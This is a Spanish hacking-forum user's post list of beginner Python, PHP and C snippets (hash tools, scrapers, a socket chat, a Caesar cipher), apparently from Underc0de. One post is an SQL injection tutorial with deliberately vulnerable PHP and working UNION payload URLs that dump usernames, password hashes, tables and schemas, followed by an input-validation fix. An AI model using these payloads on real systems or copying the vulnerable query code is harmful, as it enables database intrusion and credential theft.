Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - blozzter

#1
Hola!

Tengo una duda respecto a algunas caracteristicas que tienen algunos frameworks, la mayoria tiene soporte para ORM para facilitar la interaccion entre la aplicacion y la base de datos.
Pero he comenzado a ver tambien que algunos incorporan la caracteristica DB Objects. Alguien tiene experiencia con estos conceptos? no entiendo la diferencia.

Gracias de antemano.
#2
Dudas y pedidos generales / Diseño de programa
Marzo 29, 2013, 10:24:31 PM
Tengo dudas respecto al diseño de un programa que debe representar gráficos y manipular información.
Explico la duda: Hacer un sistema que contenga la información de planetas, ej: nombre, área, temperatura. y en una ventana (JFrame si se piensa en Java) representar cada planeta como un círculo, y que al hacerle click a cada circulo, muestre su información.

una idea es representarlo así:

Código: java

class Planeta {
    String nombre;
    int temperatura;
    int radio
    Figura figura;
}


Código: java

    class Figura extends JPanel {
        ....
    }


Será buena idea hacerlo así? o quedaría muy complejo? La duda es basicamente como separar lo grafico de lo lógico.
#3
Windows / Winrar desde cmd
Octubre 25, 2011, 06:15:08 PM
En un momento de ocio me dio por investigar como manejar archivos comprimidos desde la cmd de windows.
Buscando por internet encontré mucha información, alguna que servía y otra que no.

Para establecer el comando que nos permitirá ejecutar winrar desde consola estando en cualquier directorio, basta con copiar el archivo rar.exe
ubicado en la carpeta de instalación de winrar hasta una carpeta del sistema, por ejemplo system32.

Hasta ahora conseguí algunos de los comandos más útiles para estas acciones, como lo son comprimir, descomprimir, borrar archivos de un rar, etc.

Dejo un resúmen de lo que encontré y sé que funciona:

Código: php
rar x archivo.rar [ruta donde descomprimir]
rar a archivo.rar fichero.txt
rar a -p[password] prueba.rar fichero.txt
rar c prueba.rar (luego de esto pedirá ingresar el comentario)
rar d archivo.rar fichero.txt (borra fichero de archivo)



También dejo un ejercicio para que prueben que funciona.
Situados desde la cmd en la carpeta desktop, ejecutar los comandos e ir viendo que sucede con cada uno:

Código: php
mkdir Underc0de
cd Underc0de
echo esta es una prueba > fichero.txt
rar a -pMyPassword prueba.rar fichero.txt
del fichero.txt
rar x -pMyPassword prueba.rar



Saludos.
#4
Python / PoC incrementString [base para bruteforce]
Octubre 24, 2011, 09:32:58 PM
hay más de una manera de como hacer la famosa función IncrementString cuyo objetivo es ir alterando/generando una cadena de texto basándose en reglas que lo que buscan es generar la palabra siguiente a la de referencia. tras ver algunos códigos de dicha estaban algo enredados decidí hacer la mía.

no es una función final, ya que falta incluir símbolos, números y mayúsculas. actualmente solo trabaja con letras (minúsculas)

Código: python

# función que toma una cadena e incrementa en 1 su valor
# base para un bruteforce
# blozzter || [email protected]
# mitm.cl  [+]  hackxcrack.com  [+]  portalhacker.net

def IncrementString(String):
    if not String.isalpha(): #definimos la salida en caso de error.
        raise ValueError, "la cadena debe ser alfabetica solamente"
       
    LastChar = String[-1] #tomo el ultimo caracter
    if LastChar != 'z':
        NewChar = chr(ord(LastChar) + 1)
        NewString = String[:-1] + NewChar #dejamos igual pero aumentamos en uno la ultima letra
    else:
        NewString = ""
        String = String[::-1] #invierto la cadena para trabajar con mas comodidad
        if String == len(String)*'z': #si la cadena contiene solo z's devuelvo solo a's
                NewString = (len(String) + 1) * 'a'
        else:
            for i in range(len(String)):
                if String[i] == 'z': #las z's del final se convierten a a's
                    NewString += 'a'
                else:
                    NewString += chr(ord(String[i]) + 1)  #aumentamos en 1 la letra que sigue
                    NewString += String[i+1:] #el lo pasamos tal cual
                    NewString = NewString[::-1] #volvemos a invertir
                    break #finalizamos el ciclo
    return NewString


salidas:

Código: python
>>> print IncrementString('a')
b
>>> print IncrementString('z')
aa
>>> print IncrementString('am')
an
>>> print IncrementString('az')
ba
>>> print IncrementString('zza')
zzb
>>> print IncrementString('zzzz')
aaaaa
>>> print IncrementString('aaaz')
aaba



saludos
#5
Había estado leyendo sobre el envío de información a través de formularios html desde Python, y bueno, mi amigo Snifer me dio una mano con un script suyo. así que haremos una prueba de concepto sobre el tema. partimos con el formulario en php al cual le enviaremos los datos.

Código: php

<html>

<?php
        if (isset($boton) && $nombre != ""){
                echo "<h1>Bienvenido $nombre</h1>";}
        else{
?>

<form action = "" method = "post">
        <input type="text" name="nombre" value="">
        <input type="submit" name="boton" value="enviar">
</form>

<?php }  ?>

</html>



ahora cómo sería el script en python:

Código: Python

# PoC interactuando con formularios html desde Python
# blozzter  ||  [email protected]
# saludos a snifer  ||  sniferl4bs.blogspot.com

import urllib

datos = urllib.urlencode({'nombre':'blozzter', 'boton':'enviar'})
source = urllib.urlopen("http://localhost/prueba.php", datos).read()

print source



una captura:

#6
Python / [Codigo] Geolocalización por ip
Octubre 19, 2011, 04:37:03 PM
Existen webs como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que brindan servicios de geolocalización a partir de una dirección ip.
Sabiendo del modo en que se realiza la consulta y se devuelve el resultado, podemos automatizar una tool.

Código: python
# Geolocalizaci0n usando el servicio de geoiptool.com
# blozzter  ||  [email protected]
# underc0de.org  ||  hackxcrack.es  ||  undersecurity.net

import urllib2, re

# se hace la solicitud usando cierta ip
ip = (raw_input('[+]IP: '))
h = {"User-Agent": "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"}
r = urllib2.Request("http://www.geoiptool.com/es/?IP=" + ip, headers=h)
source = urllib2.urlopen(r).read()

# se buscan expresiones regulares
aux, pais = re.findall("<img src='/flags/(.*)' alt=\"(.*)\" align=\"absmiddle\" ></td>", source)[0]
aux, region = re.findall("<td align=\"left\" class=\"arial_bold\"><a href=\"http://en.wikipedia.org/wiki/(.*)\" target=\"_blank\">(.*)</a></td>", source)[0]
infoList = re.findall("<td align=\"left\" class=\"arial_bold\">(.*)</td>", source)
longitud = infoList[-2]
latitud = infoList[-1]

# se muestra la informaci0n
print 'pais: ' + pais
print 'region: ' + region
print 'longitud: ' + longitud
print 'latitud: ' + latitud[/url]



una captura:

#7
Python / Encriptador md5/sha1 version GUI
Octubre 19, 2011, 11:28:51 AM
dejo mi primer GUI en python. encripta en md5 y sha1.

Código: python
# mi primer Gui
# aplicacion que encripta en md5 y sha1
# diseñda con Qt Designer
# blozzter || [email protected]
# mitm.cl  ||  underc0de.org  ||hackxcrack.es  || portalhacker.net   ||  undersecurity.net

from PyQt4 import QtCore, QtGui
import sys, md5, hashlib

try:
    _fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
    _fromUtf8 = lambda s: s

class Ui_Form(object):
    def setupUi(self, Form):
        Form.setObjectName(_fromUtf8("Form"))
        Form.setEnabled(True)
        Form.resize(400, 300)
        Form.setWindowOpacity(0.95)
        Form.setLayoutDirection(QtCore.Qt.LeftToRight)
        Form.setAutoFillBackground(False)
        self.texto = QtGui.QLabel(Form)
        self.texto.setGeometry(QtCore.QRect(30, 30, 161, 31))
        font = QtGui.QFont()
        font.setFamily(_fromUtf8("arial"))
        font.setPointSize(20)
        self.texto.setFont(font)
        self.texto.setCursor(QtCore.Qt.CrossCursor)
        self.texto.setMouseTracking(False)
        self.texto.setTextFormat(QtCore.Qt.AutoText)
        self.texto.setObjectName(_fromUtf8("texto"))
        self.campoEntrada = QtGui.QLineEdit(Form)
        self.campoEntrada.setGeometry(QtCore.QRect(30, 80, 341, 20))
        self.campoEntrada.setLayoutDirection(QtCore.Qt.LeftToRight)
        self.campoEntrada.setObjectName(_fromUtf8("campoEntrada"))
        self.campoSalida = QtGui.QLineEdit(Form)
        self.campoSalida.setEnabled(True)
        self.campoSalida.setGeometry(QtCore.QRect(30, 220, 341, 20))
        self.campoSalida.setObjectName(_fromUtf8("campoSalida"))
        self.botonMd5 = QtGui.QPushButton(Form)
        self.botonMd5.setGeometry(QtCore.QRect(30, 130, 75, 23))
        self.botonMd5.setObjectName(_fromUtf8("botonMd5"))
        self.botonSha1 = QtGui.QPushButton(Form)
        self.botonSha1.setGeometry(QtCore.QRect(120, 130, 75, 23))
        self.botonSha1.setObjectName(_fromUtf8("botonSha1"))

        self.retranslateUi(Form)
        QtCore.QObject.connect(self.botonMd5, QtCore.SIGNAL(_fromUtf8("clicked()")), Form.toMd5)
        QtCore.QObject.connect(self.botonSha1, QtCore.SIGNAL(_fromUtf8("clicked()")), Form.toSha1)
        QtCore.QMetaObject.connectSlotsByName(Form)

    def retranslateUi(self, Form):
        Form.setWindowTitle(QtGui.QApplication.translate("Form", "# Encriptador", None, QtGui.QApplication.UnicodeUTF8))
        self.texto.setText(QtGui.QApplication.translate("Form", "Encriptar:", None, QtGui.QApplication.UnicodeUTF8))
        self.botonMd5.setText(QtGui.QApplication.translate("Form", "Md5", None, QtGui.QApplication.UnicodeUTF8))
        self.botonSha1.setText(QtGui.QApplication.translate("Form", "Sha1", None, QtGui.QApplication.UnicodeUTF8))

def convert_md5(text):
        encriptado = md5.new()
        encriptado.update(text)
        return encriptado.hexdigest()
       
def convert_sha1(palabra):
    return hashlib.sha1(palabra).hexdigest()
   
class Myform(QtGui.QMainWindow):
    def __init__(self, parent=None):
        QtGui.QWidget.__init__(self, parent)
        self.ui = Ui_Form()
        self.ui.setupUi(self)
       
    def toMd5(self):
        entrada = str(self.ui.campoEntrada.text())
        entradaEncriptada = convert_md5(entrada)
        self.ui.campoSalida.setText(entradaEncriptada)
       
    def toSha1(self):
        entrada = str(self.ui.campoEntrada.text())
        entradaEncriptada = convert_sha1(entrada)
        self.ui.campoSalida.setText(entradaEncriptada)
       
if __name__ == "__main__":
    app = QtGui.QApplication(sys.argv)
    myapp = Myform()
    myapp.show()
    sys.exit(app.exec_())


y una captura:



saludos.
#8
Python / 15 ultimas noticias de fayerwayer movil
Octubre 17, 2011, 04:40:17 PM
Esta vez mostraré una de las tantas utilidades que se pueden hacer con los módulos urllib2 y re de Python.

el módulo urllib2 sirve para trabajar con páginas web, obteniendo el código fuente de una web; mientras que re nos permite buscar ciertos patrones en ese código fuente.

tomaremos como ejemplo la web movil de fayerwayer, viendo su código fuente buscamos el modo en que se presentan las noticias, que sería de la forma:

<a class="h2" href="link_de_la_noticia">título_de_la_noticia</a>


por lo tanto la expresión regular para asociar el link y la noticia sería:

link, noticia = <a class=\"h2\" href=\"(.*)\">(.*)</a>

conociendo esto y el uso de los módulos, hacemos el script que lista las noticias y sus respectivos links:

Código: python
# rescatando noticias de fayerwayer
# 15 ultimas noticias desde la version movil
# by blozzter || [email protected]

import urllib2, re

url = "http://m.fayerwayer.com/"
source = urllib2.urlopen(url).read()

links = [] # lista donde se almacenarAn los links
news = [] # lista donde se almacenarAn los titulares

for linkNew, new in re.findall("<a class=\"h2\" href=\"(.*)\">(.*)</a>\n", source):
    links.append(linkNew) # se agrega nuevo link
    news.append(new) # se agrega nuevo titular
   
for i in range(15):
    print 'titular: ' + news[i]
    print 'link: ' + links[i]
    print '-' * 30 + '\n'



saludos.
#9
buenas compañeros,
estaba incursionando en el manejo de bases de datos MySQL en Python y encontré pocos ejemplos prácticos. así que hice una guía sencilla que sirve de Introducción al tema y que lleva un código simple de ejemplo.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


saludos.
#10
buenas,
me puse a buscar sobre diferentes tipos de ficheros que pudiesen servir para el almacenamiento de datos y que pudieran ser manipulados en python. así fue como llegué al tipo de ficheros csv, el cual me pareció interesante y útil.
vemos un resumen de su definicion (wikipedia) :

CitarLos ficheros CSV (del inglés comma-separated values) son un tipo de documento en formato abierto sencillo para representar datos en forma de tabla, en las que las columnas se separan por comas  y las filas por saltos de línea.

un ejemplo:

Código: php
987,juan,87345,10 norte 342
876,pedro,43649,8 oriente 342
123,jorge,03342,av. libertad 23
69,vicente,61560,valencia nº183



python trae incorporado un modulo para manejar este tipo de archivos, el modulo csv que se importa como cualquier otro.

algunos apuntes de como manejar el módulo:

para abrir un archivo csv con el permiso correspondiente:

archivo = csv.reader(open("datos_agenda.csv", "rb"))   ==>> abrimos con permiso de solo lectura

archivo = csv.writer(open("datos_agenda.csv", "ab"))   ==>> abrimos con permiso append (agregar al final)

archivo = csv.writer(open("datos_agenda.csv", "wb"))  ==>> abrimos con permiso de escritura, si no existe, lo crea.



escribiendo en un fichero csv:

archivo.writerow([nombre, numero, email])  =>> en donde le pasamos en una lista lo que queremos insertar.


lo que me llamó la atención es que estos archivos no necesitan ser cerrados a diferencia de cuando abrimos un .txt por ejemplo.
para terminar, dejo simple ejemplo de la manipulación de estos archivos.

el ejemplo trata de una agenda (nada nuevo, lo sé, pero sirve para entender el manejo).
he hecho 2 funciones, una que agrega un contacto al archivo datos_agenda.csv y otra función que recorre todo el archivo mostrado los datos de los contactos.

la documentación que he encontrado ha sido escasa, si alguien se interesa podría postear una función que elimine los datos de un contacto pre-almacenado; o que permita modificar la información. así aprendemos todos.


Código: python

#aprendiendo manejo de archivos csv en Python
#comunidad Underc0de

import csv, sys, os

def mostrar_contactos():
    archivo = csv.reader(open("datos_agenda.csv", "rb"))
    for index,row in enumerate(archivo):
        print "contacto: " + str(index+1)
        print "-------------------"
        print "nombre: " + row[0] + "  || numero: " + row[1] + "  || email: " + row[2]
        print "\n"
       
def agregar_contacto(nombre, numero, email):
    archivo = csv.writer(open("datos_agenda.csv", "ab"))
    archivo.writerow([nombre, numero, email])
       
def mostrar_menu():
    print "gestion de contactos"
    print "[1] mostrar contactos."
    print "[2] agregar contacto."
    print "[3] salir."
   
salir = False

if not os.path.exists('datos_agenda.csv'):
    archivo = csv.writer(open("datos_agenda.csv", "wb"))
   

while (salir == False):
    mostrar_menu()
    opcion = input("==> opcion: ")
    if opcion == 1:
        mostrar_contactos()
    elif opcion == 2:
        nombre = raw_input("==> nombre: ")
        numero = raw_input("==> numero: ")
        email = raw_input("==> email: ")
        agregar_contacto(nombre, numero, email)
    elif opcion == 3:
        sys.exit()


#11
he estado utilizando los módulos urllib2 y re de python. y aquí dejo un script que imprime por pantalla cuando hay un nuevo post en el foro (nuevo post, no nueva respuesta) imprime el título y el link.

Código: python

#monitoreando nuevos post en underc0de.org
#by blozzter.

import re, urllib2
from time import sleep

def monitorear_posts():
    contenido = urllib2.urlopen("http://www.underc0de.org/foro/index.php?action=recent").read()
    ultimo_registrado = re.findall("rel=\"nofollow\">(.*)</a></h5>\n", contenido)[0] #cogemos el ultimo post
    while True:
        sleep(60)        #luego de un minuto
        contenido = urllib2.urlopen("http://www.underc0de.org/foro/index.php?action=recent").read()
        ultimo_post = re.findall("rel=\"nofollow\">(.*)</a></h5>\n", contenido)[0]#lo cogemos de nuevo
        ultimo_link = re.findall("\s<a href=\"(.*)\"\srel=\"nofollow\">", contenido)[0]
   
        if ultimo_post != ultimo_registrado and ultimo_post[:3] != "RE:": #si son distintos, mostramos el post y el link
            print "\t nuevo post en Underc0de!"
            print "%s >> %s" % (ultimo_post, ultimo_link)
            ultimo_registrado = ultimo_post
   
monitorear_posts()



seria linda una bot con esta función  ::)
saludos.

edito: al momento de estar posteando esto dejé corriendo el script y tomé una captura. eso si falta limpiar un poco la url para que no la tire con tanta basura:



#12
Python / [Codigo] Simple chat
Agosto 29, 2011, 01:45:14 PM
buenas,
estaba leyendo el libro"python para todos" y me encontré con un ejemplo de sockets que me pareció interesante. el ejercicio constaba de 2 scripts, uno era un cliente y otro un servidor; en el cliente podíamos escribir texto y luego ese texto era mostrado en el servidor. decidí modificarlo un poco para que ambos scripts pudiesen ir alternando la función cliente-servidor, es decir, hacer una especie de chat que permitiese simular una conversación simple del siguiente modo:  escribe usuario1, lee usuario2, escribe usuario2, lee usuario1; y así sucesivamente.

dejo los scripts:

k1.py

Código: python

#uso:  python k1.py ip_a_comunicar (se admite 127.0.0.1)
# by blozzter.

import sys, socket

ip = sys.argv[1]

def enviar():
s = socket.socket()
s.connect((ip, 9998))  #se conecta a esa ip
mensaje = raw_input("[>] ")
s.send(mensaje)
if mensaje == "quit":
print 'bye bye'
s.close()
sys.exit()

def recibir():
s = socket.socket()
s.bind(("", 9999))
s.listen(1)
sc, addr = s.accept()

recibido = sc.recv(1024)
if recibido == "quit":
print 'bye bye'
sc.close()
s.close()
sys.exit()
print "Recibido:", recibido
sc.send(recibido)

def cambiar(word):
if word == 'enviar':
word = 'recibir'
elif word == 'recibir':
word = 'enviar'
return word

accion = 'enviar'

while True:
if accion == 'enviar':
enviar()
elif accion == 'recibir':
recibir()
accion = cambiar(accion)



k2.py

Código: python

#uso: python k2.py ip_a_comunicar (se admite 127.0.0.1)
# by blozzter.

import sys, socket

ip = sys.argv[1]

def enviar():
s = socket.socket()
s.connect((ip, 9999))  #se conecta a esa ip
mensaje = raw_input("[>] ")
s.send(mensaje)
if mensaje == "quit":
print 'bye bye'
s.close()
sys.exit()

def recibir():
s = socket.socket()
s.bind(("", 9998))
s.listen(1)
sc, addr = s.accept()

recibido = sc.recv(1024)
if recibido == "quit":
print 'bye bye'
sc.close()
s.close()
sys.exit()
print "Recibido:", recibido
sc.send(recibido)

def cambiar(word):
if word == 'enviar':
word = 'recibir'
elif word == 'recibir':
word = 'enviar'
return word

accion = 'recibir'

while True:
if accion == 'enviar':
enviar()
elif accion == 'recibir':
recibir()
accion = cambiar(accion)



primero se debe ejecutar el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ya que este comienza con la función que "escucha", y luego ejecutar el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que es el que se conecta y empieza a "hablar", luego se van alternando de modo automático.


saludos.
#13
Back-end / Parse command line parameters + MD5
Agosto 29, 2011, 11:49:36 AM
he estado leyendo sobre php y me ha llamado la atención lo simple que es pasar parámetros al momento de la ejecución y la facilidad que presenta en el uso de algunas de sus funciones.
hice un código que convierte una palabra a MD5 pasándola como parametro; aquí el código:


Código: php

<?php
/*  encriptando con php desde la linea de comandos
     en windows es posible compilarlo con bamcompile de la forma:
C:\bamcompile>bamcompile.exe archivo.php
*/

function convertToMd5($cadena){
$encriptado = md5($cadena);
return $encriptado;
}

if($argc != 2) {
echo "\t[!] uso: ".$argv[0]." palabra\n";
return false;
}

$palabra = ($argv[1]);
$encriptado = convertToMd5($palabra);
echo "\t[+] ".$palabra." --> ".$encriptado."\n";
?>


saludos.
#14
buenas, necesito hacer lo siguente:
diseñar una función que reciba como parámetro un nick, que busque una lista que contendrá los nicks de los admins en fichero y modifique dicha lista agregando el nick recibido.

tengo mas o menos la idea, pero creo que tengo un problema al momento de buscar la lista con los admins en el archivo.

el archivo de configuracion se llama No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y contiene algo como:


Código: php
servidor = ""
admins = ["blozzter"]
bla bla
...


y el codigo en python es:

Código: python
import re

def agregar_admin(NuevoAdmin):
    fichero = open("config.py", "r") #fichero de configuracion
    contenido = fichero.read()
    fichero.close()
    admins_originales = re.findall("admins = (.*)", contenido)[0]  #creo que el error esta entre esta
    admins_nuevos = [admins_originales] + [NuevoAdmin]    #y esta linea
    contenido_modificado = contenido.replace(admins_originales, admins_nuevos)
    fichero = open("config.py", "w")
    fichero.writelines(contenido_modificado)
    fichero.close()
   
nick = "angelion"  #nick que se desea agregar al fichero de configuración
agregar_admin(nick)



saludos.
espero ayuda.
#15
qué es.

es una técnica que consiste en hacer consultas de forma directa a la base de datos del sistema.


cuándo se produce.

se producen cuando se incluye en una consulta SQL una variable que no ha sido previamente filtrada.


ejemplo práctico

imaginemos que tenemos una base de datos llamada 'database' a la que tiene acceso el usuario 'root' y cuya pass es 'pass'.

la DB tiene 2 tablas, una de noticias y otra de usuarios.

seria asi:

Código: mysql

--
-- Estructura de tabla para la tabla `noticias`
--

CREATE TABLE `noticias` (
  `id` smallint(5) unsigned NOT NULL auto_increment,
  `titulo` varchar(50) NOT NULL default '',
  `cuerpo` text NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;

--
-- Volcar la base de datos para la tabla `noticias`
--

INSERT INTO `noticias` VALUES (1, 'introduccion practica a sqli', 'cuerpo de la primera noticia <br />\r\nbla <br />\r\nbla <br />\r\nbla <br />\r\n<br />\r\n<br />\r\n<h3> ¡< blozzter >!');
INSERT INTO `noticias` VALUES (2, 'titulo 2', 'cuerpo de la noticia 2 <br />\r\n... <br />\r\n... <br />\r\n... <br />\r\n... saludos mitm.cl\r\n');

-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `usuarios`
--

CREATE TABLE `usuarios` (
  `id` smallint(5) unsigned NOT NULL auto_increment,
  `usuario` varchar(20) NOT NULL default '',
  `clave` varchar(32) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;

--
-- Volcar la base de datos para la tabla `usuarios`
--

INSERT INTO `usuarios` VALUES (1, 'admin', '21232f297a57a5a743894a0e4a801fc3');
INSERT INTO `usuarios` VALUES (2, 'root', '63a9f0ea7bb98050796b649e85481845');




y la pagina cuenta con un archivo que accede a la DB para mostrar las noticias asociadas a cierto id, dicho archivo es vulnerable a sqli ya que no filtra la variable id.


archivo sqli.php:

Código: php

<?php

$host = 'localhost';
$user = 'root';
$pass='pass';
$datos = 'database';

$conexion = mysql_connect($host, $user, $pass)
or die("no se ha conectado a la db");
mysql_select_db($datos,$conexion)
or die("problemas al seleccionar db");



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}


$sql = mysql_query("SELECT id, titulo, cuerpo FROM noticias WHERE id=".$id)
or die (mysql_error());

$resultado = mysql_fetch_row($sql);


echo "<h2>".$resultado[1]."</h1><br />";
echo "<h3>".$resultado[2]."</h3><br />";
mysql_close($conexion);

?>



teniendo eso podemos generar una consulta que nos permita acceder a la información almacenada en la DB. por ejemplo, que nos arroje sus usuarios y sus passwords:

Código: php
http://localhost/sqli.php?id= 1+union+select+all+1,2,group_concat(id,0x3a3a,usuario,0x3a3a,clave,0x3c62723e)+from+usuarios


lo que devolvería algo como:

Citar
1::admin::21232f297a57a5a743894a0e4a801fc3
,2::root::63a9f0ea7bb98050796b649e85481845


cómo solucionar el problema.

podemos filtrar la variable id y asegurarnos que efectivamente sea un número:


Código: php

<?php

...

if (isset($_GET['id'])) {
$id = $_GET['id'];

if (!is_numeric($id)){
echo "<script>alert('no me hagas sqli!')</script>";
exit();
}
}

...

?>



nota: no pongo todos los pasos del proceso de explotación porque aquí todos lo saben  :o


adicional:


para sacar las tablas en el ejemplo que estoy dando seria:

Código: php
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(table_name,0x3c62723e)+from+information_schema.tables+--+



para sacar las columnas de la tabla 'usuarios' sería:

Código: php
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(column_name,0x3c62723e)+from+information_schema.columns+where+table_name=0x7573756172696f73+--+


donde para convertir a hexadecimal podemos usar una No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o bien hacernos nuestra propia No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


y para ver las bases de datos (esto lo aprendí del p0fk) :

Código: php
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(schema_name,0x3c62723e)+from+information_schema.schemata+--+



saludos.
#16
hola,
me interesa hacer una función que retorne la cantidad de post de cierto usuario de Underc0de.
escribí el code, pero no sé que error tiene, basicamente no retorna cuando se cumple la condicion, lo depuré y no entiendo el por qué.


Código: python

import re, urllib2

   
def countpost(nick):
    for i in range(1, 7390):
        source = urllib2.urlopen("http://foro.underc0de.org/index.php?action=profile;u=%s"%i).read()
        mensajes = re.findall("<dd>(.*)\)", source)   
        usuario = re.findall("<div class=\"username\"><h4>(.*)<span class=\"position\">", source)
        usuario = str(usuario[0])
        if usuario == nick:
            return mensajes
           
msg = countpost("ANTRAX")
print msg[0],')'


la condición se cumple:
#17
Python / Análisis de ejercicios
Agosto 11, 2011, 12:35:47 PM
Hola comunidad,
que visto que muchos están empezando en la programación en Python,
creo que la mejor manera de aprender, es practicar.

mi sugerencia es que vayamos posteando ejercicios. comenzar con cosas simples, secuenciales y decisiones, luego ciclos, despues listas y cosas asi.

para mantener también así mas activo esta parte del foro.



partir con cosas como:

Citar
En el consultorio del barrio, el doctor que atiende a Pepito tiene problemas para calcular la
edad de los pacientes. Por ello necesitamos un algoritmo que dad la fecha actual y la de
nacimiento de una persona determine la edad de estos



asi son los ejercicios que nos daban al comienzo en mi universidad.
entonces vamos planteando las soluciones y ayudando a quienes les cueste encontrar el algoritmo.



es solo una idea,, opinen.

saludos.
#18
Códigos Fuentes / Convertir a hexadecimal
Julio 26, 2011, 01:51:27 PM
necesitaba una pequeña utilidad que permitiera la rápida conversión de texto a hexadecimal,
y nada mejor que uno mismo haga las cosas.

aquí el código:

Código: c


/*  conversor a hexadecimal
usage: hex word-to-convert [max length: 50]
            ---> example: hex blozzter
¡< blozzter >!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char usage()
{
     printf("\t ---> usage: hex word-to-convert [max length: 50]\n\t ---> example: hex blozzter\n\n");
     }
     


int main(int argc, char *argv[])
{
  char *cadena;
  int i, tam;
 
  if (argc == 2) {  //me aseguro que se le haya pasado solo un argumento
           cadena = argv[1];
           tam = strlen(cadena);  //llamo a la funcion que calcula el tamaño
           
           if (tam <= 50) {  //admito un maximo de 50 caracteres
               printf("%s ==>\t", cadena);
               i = 0;
     
               while (cadena[i] != '\0') {  //mientras la cadena no termine, imprimo en hexadecimal ( %x )
                    printf("%x", cadena[i]);
                    i++;
                    }
                   
              printf("\n");
               }
            else {
                 usage();
                 }
               }
  else {
       usage();
       }
 
  return 0;
}



#19
Python / Pasar un texto a MD5 o a hexadecimal
Julio 10, 2011, 02:38:23 PM
últimamente he estado utilizando mucho la conversión a código hexadecimal, así que escribí un programa que facilitara la tarea para no tener que estar ingresando a webs que hacen el trabajo. y para hacerlo más atractivo le incluí además la encriptación en md5.

estoy recién empezando en esto, así que criticas y sugerencias me vendrían bien.

ah, me olvidaba, estoy con el interprete de python 2.7 y 2.3. con estos me funciona, con versiones superiores creo que da problemas.


Código: python
# convertir un texto a MD5
# o a hexadecimal
# uso:
# python text-tool.py  -type  md5/hex  -text  texto-a-convertir
# > blozzter

import sys, md5

def convert_md5(text):
    encriptado = md5.new()
    encriptado.update(text)
    return encriptado.hexdigest()

def convert_hex(texto):
long = len(texto)
temp = ''

for i in range(long):
  temp += hex(ord(texto[i])) #convertimos a ascii y luego a hexadecimal

hexadecimal = ''

for i in range(len(temp) - 1): #limpiamos la cadena quitandole los '0x'
  if temp[i] == '0' and temp[i + 1] == 'x':
hexadecimal += temp[i + 2]
hexadecimal += temp[i + 3]
return hexadecimal


if (len(sys.argv) - 1) != 4:  #me aseguro que hayan sido 4 los argumentos entregados
print '> Error en la cantidad de parametros'
sys.exit()


for arg in range(len(sys.argv) - 1):
try:
if sys.argv[arg + 1] == '-type':
tipo = sys.argv[arg + 2]

if sys.argv[arg + 1] == '-text':
texto = sys.argv[arg + 2]

except:
print '> Error en los parametros\n'
print 'python text-tool.py  -type  md5/hex  -text  texto-a-convertir\n'
sys.exit()

try:
if tipo == 'md5':
en_md5 = convert_md5(texto)
print '> ', en_md5

if tipo == 'hex':
en_hex = convert_hex(texto)
print '> ', en_hex

except:
print '> Error en los parametros\n'
print 'python text-tool.py  -type  md5/hex  -text  texto-a-convertir\n'




demostraciones:

Código: php
C:\herramientas>python text-tool.py -type hex -text undercode
>  756e646572636f6465



Código: php
C:\herramientas>python text-tool.py -type md5 -text undercode
>  c7b5dc22ebc8e1d8f069ee1f2d340d57

#20
Python / Cifrado julio cesar
Mayo 26, 2011, 01:53:13 AM
Código: python
#   cifrado julio cesar
#   consiste en el desplazamiento de 3 letras hacia la derecha para cifrar
#   y 3 letras hacia la izquierda para descifrar
#   by blozzter

def cifrar(texto, largo):
    if largo > 0:
        i = 0
        palabra = ""
        print 'el texto cifrado es: ',
        while i < largo:
            num = ord(texto[i])
            if num == 120:
                letra = 'a'
            elif num == 121:
                letra = 'b'
            elif num == 122:
                letra = 'c'
            else:
                num += 3
                letra = chr(num)
            palabra += letra
            i += 1
        print palabra
           
def descifrar(texto, largo):
    if largo > 0:
        i = 0
        palabra = ""       #partimos con una variable vacia
        print 'el texto descifrado es: ',
        while i < largo:
            num = ord(texto[i])    #obtenemos el numero en ascii correspondiente a cada letra
            if num == 97:         #algunos casos especiales por estar en los limites
                letra = 'x'
            elif num == 98:
                letra = 'y'
            elif num == 99:
                letra = 'z'
            else:
                num -= 3       #disminuimos el numero ascii en 3
                letra = chr(num)   #asociamos el numero a una letra
            palabra += letra    #vamos armando la palabra letra por letra
            i += 1
        print palabra
   
           
texto = raw_input('ingresa texto: ')
largo = len(texto)  #encontramos cuantos caracteres tiene el texto

print '\n1.- cifrar'
print '2.- descifrar\n'
opcion = input('ingresa opcion: ')

if opcion == 1:
    cifrar(texto, largo)
   
if opcion == 2:
    descifrar(texto, largo)